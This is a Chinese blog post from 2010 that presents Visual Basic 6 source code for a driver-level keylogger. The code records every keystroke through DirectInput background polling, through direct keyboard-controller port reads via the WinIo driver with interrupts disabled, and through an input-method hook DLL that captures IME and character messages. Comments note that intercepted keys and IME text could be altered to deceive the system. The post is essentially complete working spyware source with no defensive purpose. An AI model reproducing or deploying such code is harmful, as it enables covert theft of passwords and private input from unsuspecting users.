ZUDN

博客园 首页 新随笔 联系 订阅 管理
驱动级键盘记录
  1. Private Sub Form_Load()
  2. If InitializeWinIo = False Then   '加载WINIO驱动
  3.     MsgBox "WINIO驱动程序无法加载！"
  4.     'End
  5. End If
  6. ' -------------------
  7. WM_HXWDLLWX_QQBTX = RegisterWindowMessage("WM_HXWDLLWX_QQBTX")  '注册自定义消息
  8. WM_HXWDLLWX_HOOKKEY = RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY")
  9. ' -----------------
  10. Set DX = New DirectX7  '建立DirectX对象
  11. Set DI = DX.DirectInputCreate()  '建立DirectInput对象
  12. Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象
  13. DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD  '设置数据格式
  14. DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE  '设置协作模式（就是DX设备要与某个窗口关联）。DISCL_BACKGROUND这个是最重要的，它让程序即使在后台运行也能监视键盘输入，不然怎么做HOOK呢^_^
  15. DI_Keyboard.Acquire  '开始
  16. ' ------------------------
  17. PrevWndProc = SetWindowLong(Me.hWnd, GWL_WNDPROC, AddressOf SubWndProc) '子类化窗口，以便能处理DLL发出的自定义消息
  18. DLLstartHOOK Me.hWnd '初始化DLL
  19. DLLsetHOOKState True  '打开输入法HOOK
  20. ' -----------------------
  21. 'Dim tempX As Long
  22. 'tempX = MyInp(&H60)
  23. 'tempX = MyInp(&H64)
  24. 'KBCWait4IOF
  25. 'MyOUT &H64, &H20
  26. 'KBCWait4IBF
  27. 'KeyboardIOCommand = MyInp(&H60)   '读取键盘控制器原始命令字节
  28. ' ----------------------
  29. Timer1.Interval = 45  '设置轮询间隔
  30. Timer2.Interval = 36
  31. Timer1.Enabled = True
  32. Timer2.Enabled = True
  33. CloseKeyboardINT   '关键盘中断
  34. End Sub
  35. Private Sub Form_Unload(Cancel As Integer)
  36. OpenKeyboardINT   '开中断
  37. DLLsetHOOKState False  '关闭输入法HOOK
  38. DLLstopHOOK  '卸载输入法HOOK
  39. Call SetWindowLong(Me.hWnd, GWL_WNDPROC, PrevWndProc)  '还原子类化窗口
  40. ' ----------------
  41. DI_Keyboard.Unacquire '释放DirectInput对象
  42. Set DI_Keyboard = Nothing
  43. Set DI = Nothing
  44. Set DX = Nothing
  45. ShutdownWinIo    '卸载WINIO
  46. End Sub
  47. Private Sub Text1_Change()
  48. Text1.SelStart = Len(Text1.Text)
  49. End Sub
  50. Private Sub Text2_Change()
  51. Text2.SelStart = Len(Text2.Text)
  52. End Sub
  53. Private Sub Text3_Change()
  54. Text3.SelStart = Len(Text3.Text)
  55. End Sub
  56. Private Sub Timer1_Timer()
  57. ' DX键盘记录
  58. 'On Error Resume Next
  59. Static keyArray(255) As Byte
  60. Dim key_count As Integer, vKeyCode As Integer, vKeyASC As String
  61. DI_Keyboard.GetDeviceStateKeyboard key_state  '轮询键盘，并把键盘输入保存到key_state结构中
  62. For key_count = 0 To 255
  63.     If keyArray(key_count) <> key_state.Key(key_count) Then   '判断是否有键被按下或弹起，key_count代表的是被按下的键的扫描码
  64.       vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
  65.       vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
  66.       If vKeyASC <> Chr(0) Then
  67.         If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
  68.             vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
  69.         Else
  70.             vKeyASC = LCase(vKeyASC)
  71.         End If
  72.         If vKeyASC = " " Then vKeyASC = "【空格】"
  73.       Else
  74.         vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键，则直接显示虚拟码
  75.       End If
  76.       If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
  77.       DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " "          '存储按键，以空格为分隔符
  78.       DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息，以|为分隔符
  79.       Text1.Text = DataKeyCacheDX
  80.     End If
  81.     keyArray(key_count) = key_state.Key(key_count)
  82. Next
  83. End Sub
  84. Private Sub Timer2_Timer()
  85. '驱动级键盘记录
  86.     ' GetKeyStatType1  '第一种办法，简单轮询
  87.     GetKeyStatType2   '第2种办法，关闭键盘中断然后轮询
  88. End Sub
  89. Private Sub GetKeyStatType1()
  90. Static lastKey As Integer
  91. Dim mydata As Integer, myKBC As Integer
  92. Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
  93. myKBC = MyINP(&H64)   '读取键盘控制端口
  94. If myKBC = 20 Or myKBC = 28 Then   '如果键盘控制器是我们想要的状态
  95. 'If ((myKBC And 246) Or 20) = 20 Then  '如果键盘控制器是我们想要的状态
  96.     mydata = MyINP(&H60)   '读取键盘数据端口
  97.     If mydata <> lastKey And mydata <> 0 Then
  98.         key_count = mydata And 127   '总是将断码变为通码
  99.         vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
  100.         If vKeyCode <> 0 Then
  101.         vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
  102.         If vKeyASC <> Chr(0) Then
  103.           If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
  104.               vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
  105.           Else
  106.               vKeyASC = LCase(vKeyASC)
  107.           End If
  108.           If vKeyASC = " " Then vKeyASC = "【空格】"
  109.         Else
  110.           vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键，则直接显示虚拟码
  111.         End If
  112.         If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
  113.         DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " "          '存储按键，以空格为分隔符
  114.         DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息，以|为分隔符
  115.         Text2.Text = DataKeyCacheWINIO
  116.         lastKey = mydata
  117.         End If
  118.     End If
  119. End If
  120. End Sub
  121. Private Sub GetKeyStatType2()
  122. Static lastKey As Integer
  123. Dim mydata As Integer, myKBC As Integer
  124. Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
  125. myKBC = MyINP(&H64)   '读取键盘控制端口
  126. 'If myKBC = 22 Or myKBC = 30 Then
  127. If myKBC And &H1 Then
  128.     mydata = MyINP(&H60)   '从缓冲区取走数据。这时取走的肯定是键盘数据，不会包含鼠标数据，因为鼠标数据会被鼠标中断第一时间取走。
  129.     myKBC = MyINP(&H64)   '读取键盘控制端口
  130.     If myKBC = 20 Or myKBC = 28 Then
  131.         If mydata <> lastKey And mydata <> 0 Then
  132.             key_count = mydata And 127   '总是将断码变为通码
  133.             vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
  134.             If vKeyCode <> 0 Then
  135.             vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
  136.             If vKeyASC <> Chr(0) Then
  137.                 If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
  138.                     vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
  139.                 Else
  140.                     vKeyASC = LCase(vKeyASC)
  141.                 End If
  142.                 If vKeyASC = " " Then vKeyASC = "【空格】"
  143.             Else
  144.                 vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键，则直接显示虚拟码
  145.             End If
  146.             If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
  147.             DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " "          '存储按键，以空格为分隔符
  148.             DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息，以|为分隔符
  149.             Text2.Text = DataKeyCacheWINIO
  150.             End If
  151.         End If
  152.     End If
  153.     lastKey = mydata
  154.     OpenKeyboardINT  '开中断
  155.     KBCWait4IBF
  156.     MyOUT &H64, &HD2   '将收到的数据复制到键盘输入缓冲区
  157.     KBCWait4IBF
  158.     MyOUT &H60, mydata    '将收到的数据复制到键盘输入缓冲区，这里你完全可以修改这个数据，从而欺骗系统，比如将A键改成B键
  159.     'OpenKeyboardINT  '开中断
  160.     Sleep 1   '等待键盘中断处理
  161.     KBCWait4IBF
  162.     CloseKeyboardINT    '关键盘中断
  163. End If
  164. End Sub
  165. Private Sub CloseKeyboardINT()
  166. '关闭键盘中断
  167. Dim tmpX As Long
  168. tmpX = MyINP(&H60)     '清空键盘的输入缓冲区
  169. tmpX = MyINP(&H64)
  170. KBCWait4IOF
  171. MyOUT &H64, &H60
  172. KBCWait4IOF
  173. 'MyOUT &H60, KeyboardIOCommand And &HFE
  174. MyOUT &H60, 70    '设置状态位，关闭键盘中断
  175. End Sub
  176. Private Sub OpenKeyboardINT()
  177. '打开键盘中断
  178. Dim tmpX As Long
  179. tmpX = MyINP(&H60)     '清空键盘的输入缓冲区
  180. tmpX = MyINP(&H64)
  181. KBCWait4IBF
  182. MyOUT &H64, &H60   '&H60表示写键盘控制器命令字节
  183. KBCWait4IBF
  184. 'MyOUT &H60, KeyboardIOCommand Or &H1  '打开键盘中断
  185. MyOUT &H60, 71    '打开键盘中断
  186. End Sub
复制代码

模块：

  1. Declare Function MapPhysToLin Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysSize As Long, ByRef PhysMemHandle) As Long
  2. Declare Function UnmapPhysicalMemory Lib "WinIo.dll" (ByVal PhysMemHandle, ByVal LinAddr) As Boolean
  3. Declare Function GetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByRef PhysVal As Long) As Boolean
  4. Declare Function SetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysVal As Long) As Boolean
  5. Declare Function GetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByRef PortVal As Long, ByVal bSize As Byte) As Boolean
  6. Declare Function SetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByVal PortVal As Long, ByVal bSize As Byte) As Boolean
  7. Declare Function InitializeWinIo Lib "WinIo.dll" () As Boolean
  8. Declare Function ShutdownWinIo Lib "WinIo.dll" () As Boolean
  9. Declare Function InstallWinIoDriver Lib "WinIo.dll" (ByVal DriverPath As String, ByVal Mode As Integer) As Boolean
  10. Declare Function RemoveWinIoDriver Lib "WinIo.dll" () As Boolean
  11. ' ------------------------------------以上是WINIO函数声明-----------------------------------------------
  12. Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  13. Public Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
  14. Public Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
  15. Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  16. Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  17. Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  18. Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  19. '---------------------------------API函数的声明-----------------------
  20. Public Declare Function DLLstartHOOK Lib "hxwdllwx.dll" (ByVal hWnd As Long) As Long   '初始化钩子
  21. Public Declare Function DLLstopHOOK Lib "hxwdllwx.dll" () As Long   '卸载钩子
  22. Public Declare Function DLLsetHOOKState Lib "hxwdllwx.dll" (ByVal myState As Boolean) As Long  '打开或关闭钩子
  23. Public Declare Function DLLGetPubString Lib "hxwdllwx.dll" () As String   '获得输入法输入
  24. Public Declare Function DLLSetPubString Lib "hxwdllwx.dll" (ByVal tmpstr As String) As Long   '修改输入法输入
  25. Public Declare Function DLLGetPubMsg Lib "hxwdllwx.dll" () As Long   '获得拦截到的键盘消息,返回一个lpMSG类型的指针
  26. ' ------------------------输入法HOOK DLL导出函数-----------------------------
  27. Public Type POINTAPI
  28.         x As Long
  29.         y As Long
  30. End Type
  31. Public Type lpMSG
  32. ' 声明windows消息类型
  33.   hWnd As Long
  34.   message As Long
  35.   wParam As Long
  36.   lParam As Long
  37.   time As Long
  38.   pt As POINTAPI
  39. End Type
  40. Public Const VK_CAPITAL As Long = &H14
  41. Public Const VK_NUMLOCK As Long = &H90
  42. Public Const VK_SHIFT = &H10
  43. Public Const GWL_WNDPROC = -4
  44. Public Const WM_KEYDOWN = &H100
  45. Public Const WM_CHAR = &H102
  46. Public WM_HXWDLLWX_QQBTX As Long  '自定义消息
  47. Public WM_HXWDLLWX_HOOKKEY As Long
  48. Public PrevWndProc As Long '保存旧的窗口处理函数地址
  49. Public DX As DirectX7
  50. Public DI As DirectInput
  51. Public DI_Keyboard As DirectInputDevice
  52. Public key_state As DIKEYBOARDSTATE
  53. Public DataKeyCacheDX As String, DataKeyCacheDXMore As String
  54. Public DataKeyCacheWINIO As String, DataKeyCacheWINIOMore As String
  55. Public DataKeyCacheIME As String
  56. Public DataKeyCacheChar As String
  57. Public KeyboardIOCommand As Long
  58. Public Function SubWndProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  59. Dim tmpS As String, myMSG As lpMSG, MSGPoint As Long
  60. Dim mydata(1) As Byte, CharStr As String
  61. Static lastChar As Byte
  62. If Msg = WM_HXWDLLWX_QQBTX Then
  63. '如果收到了输入法上屏拦截消息
  64.     tmpS = DLLGetPubString() '获得输入法输入
  65.     DataKeyCacheIME = DataKeyCacheIME & tmpS & "   "
  66.     Form1.Text3.Text = DataKeyCacheIME
  67.     'tmpS = tmpS & "（被修改）"
  68.     'DLLSetPubString tmpS   '修改输入法输入
  69. End If
  70. If Msg = WM_HXWDLLWX_HOOKKEY Then
  71. '如果收到的是键盘拦截消息
  72.     MSGPoint = DLLGetPubMsg()
  73.     CopyMemory myMSG, ByVal MSGPoint, Len(myMSG) '将指针MSGPoint所指的内存区域复制到myMSG结构中
  74.     If myMSG.message = WM_CHAR Then
  75.         If myMSG.wParam < 128 Then
  76.             lastChar = myMSG.wParam
  77.             DataKeyCacheChar = DataKeyCacheChar & Chr(lastChar)
  78.             Form1.Text4.Text = DataKeyCacheChar
  79.         Else
  80.             If lastChar >= 128 Then
  81.                 mydata(1) = lastChar
  82.                 mydata(0) = myMSG.wParam
  83.                 CharStr = StrConv(mydata, vbUnicode)
  84.                 lastChar = 0
  85.                 DataKeyCacheChar = DataKeyCacheChar & CharStr
  86.                 Form1.Text4.Text = DataKeyCacheChar
  87.             Else
  88.                 lastChar = myMSG.wParam
  89.             End If
  90.         End If
  91.     End If
  92.     'CopyMemory ByVal MSGPoint, myMSG, Len(myMSG)  '将myMSG的数据复制回MSGPoint所指的内存区域
  93. End If
  94. SubWndProc = CallWindowProc(PrevWndProc, hWnd, Msg, wParam, lParam)   '将消息传给旧的窗口函数继续处理
  95. End Function
  96. Function MyINP(ByVal PortAddr As Integer) As Long
  97.   Dim PortVal As Long
  98.   GetPortVal PortAddr, PortVal, 1
  99.   MyINP = PortVal
  100. End Function
  101. Sub MyOUT(ByVal PortAddr As Integer, ByVal theData As Long)
  102.     SetPortVal PortAddr, theData, 1
  103. End Sub
  104. Sub KBCWait4IBF()   '等待键盘输入缓冲区为空
  105. Dim dwVal As Long
  106.   Do
  107.   GetPortVal &H64, dwVal, 1
  108.   Loop While (dwVal And &H2)
  109. End Sub
  110. Sub KBCWait4OBF()   '等待键盘输出缓冲区为空
  111. Dim dwVal As Long
  112.   Do
  113.   GetPortVal &H64, dwVal, 1
  114.   Loop While (dwVal And &H1)
  115. End Sub
  116. Sub KBCWait4IOF()   '等待键盘两个缓冲区都为空
  117. Dim dwVal As Long
  118.   Do
  119.   GetPortVal &H64, dwVal, 1
  120.   Loop While (dwVal And &H3)
  121. End Sub
  122. Sub KBCWait4IBFFull()   '等待键盘输入缓冲区不为空
  123. Dim dwVal As Long
  124.   Do Until (dwVal And &H2)
  125.   GetPortVal &H64, dwVal, 1
  126.   Loop
  127. End Sub
posted on 2010-12-20 15:23  ZUDN  阅读(3596)  评论(0)  编辑  收藏  举报